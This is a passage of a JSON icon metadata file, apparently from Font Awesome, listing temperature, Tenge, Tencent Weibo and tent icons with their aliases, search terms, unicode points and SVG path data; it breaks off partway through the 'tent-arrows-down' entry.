  "temperature-empty": {
    "aliases": {
      "names": ["temperature-0", "thermometer-0", "thermometer-empty"],
      "unicodes": {
        "secondary": ["10f2cb"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cold", "mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f2cb",
    "label": "Temperature Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M112 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C233.8 332.6 240 349.5 240 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM160 0C98.1 0 48 50.2 48 112V276.5c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C27.2 304.2 16 334.8 16 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C272 50.2 221.9 0 160 0zm0 416a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M112 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C233.8 332.6 240 349.5 240 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM160 0C98.1 0 48 50.2 48 112V276.5c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C27.2 304.2 16 334.8 16 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C272 50.2 221.9 0 160 0zm0 416a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "temperature-full": {
    "aliases": {
      "names": ["temperature-4", "thermometer-4", "thermometer-full"],
      "unicodes": {
        "secondary": ["10f2c7"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fever", "hot", "mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f2c7",
    "label": "Temperature Full",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V112c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V112c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "temperature-half": {
    "aliases": {
      "names": ["temperature-2", "thermometer-2", "thermometer-half"],
      "unicodes": {
        "composite": ["1f321"],
        "secondary": ["10f2c9"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mercury", "status", "temperature", "thermometer", "weather"]
    },
    "styles": ["solid"],
    "unicode": "f2c9",
    "label": "Temperature Half",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V208c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V208c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "temperature-high": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f769"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cook", "covid-19", "mercury", "summer", "thermometer", "warm"]
    },
    "styles": ["solid"],
    "unicode": "f769",
    "label": "Temperature High",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 128A96 96 0 1 0 416 0a96 96 0 1 0 0 192zM96 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C217.8 332.6 224 349.5 224 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9C88.9 308.4 96 293.8 96 276.5V112zM144 0C82.1 0 32 50.2 32 112V276.5c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C11.2 304.2 0 334.8 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C256 50.2 205.9 0 144 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V112c0-8.8-7.2-16-16-16s-16 7.2-16 16V322.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 128A96 96 0 1 0 416 0a96 96 0 1 0 0 192zM96 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C217.8 332.6 224 349.5 224 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9C88.9 308.4 96 293.8 96 276.5V112zM144 0C82.1 0 32 50.2 32 112V276.5c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C11.2 304.2 0 334.8 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C256 50.2 205.9 0 144 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V112c0-8.8-7.2-16-16-16s-16 7.2-16 16V322.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48z"
      }
    },
    "free": ["solid"]
  },
  "temperature-low": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f76b"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cold", "cool", "covid-19", "mercury", "thermometer", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f76b",
    "label": "Temperature Low",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 96a96 96 0 1 1 192 0A96 96 0 1 1 320 96zM144 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C70.2 332.6 64 349.5 64 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM32 112C32 50.2 82.1 0 144 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S0 447.5 0 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM192 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V272c0-8.8 7.2-16 16-16s16 7.2 16 16v50.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 96a96 96 0 1 1 192 0A96 96 0 1 1 320 96zM144 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C70.2 332.6 64 349.5 64 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM32 112C32 50.2 82.1 0 144 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S0 447.5 0 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM192 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V272c0-8.8 7.2-16 16-16s16 7.2 16 16v50.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "temperature-quarter": {
    "aliases": {
      "names": ["temperature-1", "thermometer-1", "thermometer-quarter"],
      "unicodes": {
        "secondary": ["10f2ca"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f2ca",
    "label": "Temperature Quarter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V272c0-8.8 7.2-16 16-16s16 7.2 16 16v50.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V272c0-8.8 7.2-16 16-16s16 7.2 16 16v50.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "temperature-three-quarters": {
    "aliases": {
      "names": ["temperature-3", "thermometer-3", "thermometer-three-quarters"],
      "unicodes": {
        "secondary": ["10f2c8"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f2c8",
    "label": "Temperature Three Quarters",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V144c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V144c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "tencent-weibo": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d5",
    "label": "Tencent Weibo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z"
      }
    },
    "free": ["brands"]
  },
  "tenge-sign": {
    "aliases": {
      "names": ["tenge"],
      "unicodes": {
        "composite": ["20b8"],
        "secondary": ["10f7d7"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Tenge Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f7d7",
    "label": "Tenge Sign",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM0 192c0-17.7 14.3-32 32-32H192 352c17.7 0 32 14.3 32 32s-14.3 32-32 32H224V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V224H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM0 192c0-17.7 14.3-32 32-32H192 352c17.7 0 32 14.3 32 32s-14.3 32-32 32H224V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V224H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "tent": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bivouac", "campground", "refugee", "shelter", "tent"]
    },
    "styles": ["solid"],
    "unicode": "e57d",
    "label": "Tent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M269.4 6C280.5-2 295.5-2 306.6 6l224 160c7.4 5.3 12.2 13.5 13.2 22.5l32 288c1 9-1.9 18.1-8 24.9s-14.7 10.7-23.8 10.7H416L288 288V512H32c-9.1 0-17.8-3.9-23.8-10.7s-9-15.8-8-24.9l32-288c1-9 5.8-17.2 13.2-22.5L269.4 6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M269.4 6C280.5-2 295.5-2 306.6 6l224 160c7.4 5.3 12.2 13.5 13.2 22.5l32 288c1 9-1.9 18.1-8 24.9s-14.7 10.7-23.8 10.7H416L288 288V512H32c-9.1 0-17.8-3.9-23.8-10.7s-9-15.8-8-24.9l32-288c1-9 5.8-17.2 13.2-22.5L269.4 6z"
      }
    },
    "free": ["solid"]
  },
  "tent-arrow-down-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["permanent", "refugee", "shelter"]
    },
    "styles": ["solid"],
    "unicode": "e57e",
    "label": "Tent Arrow Down To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M241.8 111.9c8.9 9.9 8.1 25-1.8 33.9l-80 72c-9.1 8.2-23 8.2-32.1 0l-80-72c-9.9-8.9-10.7-24-1.8-33.9s24-10.7 33.9-1.8l39.9 36L120 24c0-13.3 10.7-24 24-24s24 10.7 24 24l0 122.1 39.9-36c9.9-8.9 25-8.1 33.9 1.8zm122.8 22.6c11.5-8.7 27.3-8.7 38.8 0l168 128c6.6 5 11 12.5 12.3 20.7l24 160 .7 4.7c17.5 .2 31.6 14.4 31.6 32c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H159.6l.7-4.7 24-160c1.2-8.2 5.6-15.7 12.3-20.7l168-128zM384 448h76.8L384 320V448z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M241.8 111.9c8.9 9.9 8.1 25-1.8 33.9l-80 72c-9.1 8.2-23 8.2-32.1 0l-80-72c-9.9-8.9-10.7-24-1.8-33.9s24-10.7 33.9-1.8l39.9 36L120 24c0-13.3 10.7-24 24-24s24 10.7 24 24l0 122.1 39.9-36c9.9-8.9 25-8.1 33.9 1.8zm122.8 22.6c11.5-8.7 27.3-8.7 38.8 0l168 128c6.6 5 11 12.5 12.3 20.7l24 160 .7 4.7c17.5 .2 31.6 14.4 31.6 32c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H159.6l.7-4.7 24-160c1.2-8.2 5.6-15.7 12.3-20.7l168-128zM384 448h76.8L384 320V448z"
      }
    },
    "free": ["solid"]
  },
  "tent-arrow-left-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["refugee", "shelter", "transition"]
    },
    "styles": ["solid"],
    "unicode": "e57f",
    "label": "Tent Arrow Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M488.1 6.2c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9L489.5 72 86.5 72l33.5-30.2c9.9-8.9 10.7-24 1.8-33.9S97.8-2.7 87.9 6.2l-80 72C2.9 82.7 0 89.2 0 96s2.9 13.3 7.9 17.8l80 72c9.9 8.9 25 8.1 33.9-1.8s8.1-25-1.8-33.9L86.5 120l402.9 0-33.5 30.2c-9.9 8.9-10.7 24-1.8 33.9s24 10.7 33.9 1.8l80-72c5.1-4.6 7.9-11 7.9-17.8s-2.9-13.3-7.9-17.8l-80-72zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M488.1 6.2c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9L489.5 72 86.5 72l33.5-30.2c9.9-8.9 10.7-24 1.8-33.9S97.8-2.7 87.9 6.2l-80 72C2.9 82.7 0 89.2 0 96s2.9 13.3 7.9 17.8l80 72c9.9 8.9 25 8.1 33.9-1.8s8.1-25-1.8-33.9L86.5 120l402.9 0-33.5 30.2c-9.9 8.9-10.7 24-1.8 33.9s24 10.7 33.9 1.8l80-72c5.1-4.6 7.9-11 7.9-17.8s-2.9-13.3-7.9-17.8l-80-72zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z"
      }
    },
    "free": ["solid"]
  },
  "tent-arrow-turn-left": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["refugee", "shelter", "temporary"]
    },
    "styles": ["solid"],
    "unicode": "e580",
    "label": "Tent Arrow Turn Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M120.1 41.8c9.9-8.9 10.7-24 1.8-33.9S97.8-2.7 87.9 6.2l-80 72C2.9 82.7 0 89.2 0 96s2.9 13.3 7.9 17.8l80 72c9.9 8.9 25 8.1 33.9-1.8s8.1-25-1.8-33.9L86.5 120 456 120c39.8 0 72 32.2 72 72v40c0 13.3 10.7 24 24 24s24-10.7 24-24V192c0-66.3-53.7-120-120-120L86.5 72l33.5-30.2zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M120.1 41.8c9.9-8.9 10.7-24 1.8-33.9S97.8-2.7 87.9 6.2l-80 72C2.9 82.7 0 89.2 0 96s2.9 13.3 7.9 17.8l80 72c9.9 8.9 25 8.1 33.9-1.8s8.1-25-1.8-33.9L86.5 120 456 120c39.8 0 72 32.2 72 72v40c0 13.3 10.7 24 24 24s24-10.7 24-24V192c0-66.3-53.7-120-120-120L86.5 72l33.5-30.2zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z"
      }
    },
    "free": ["solid"]
  },
  "tent-arrows-down": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["refugee", "shelter", "spontaneous"]
    },
    "styles": ["solid"],
    "unicode": "e581",
    "label": "Tent Arrows Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
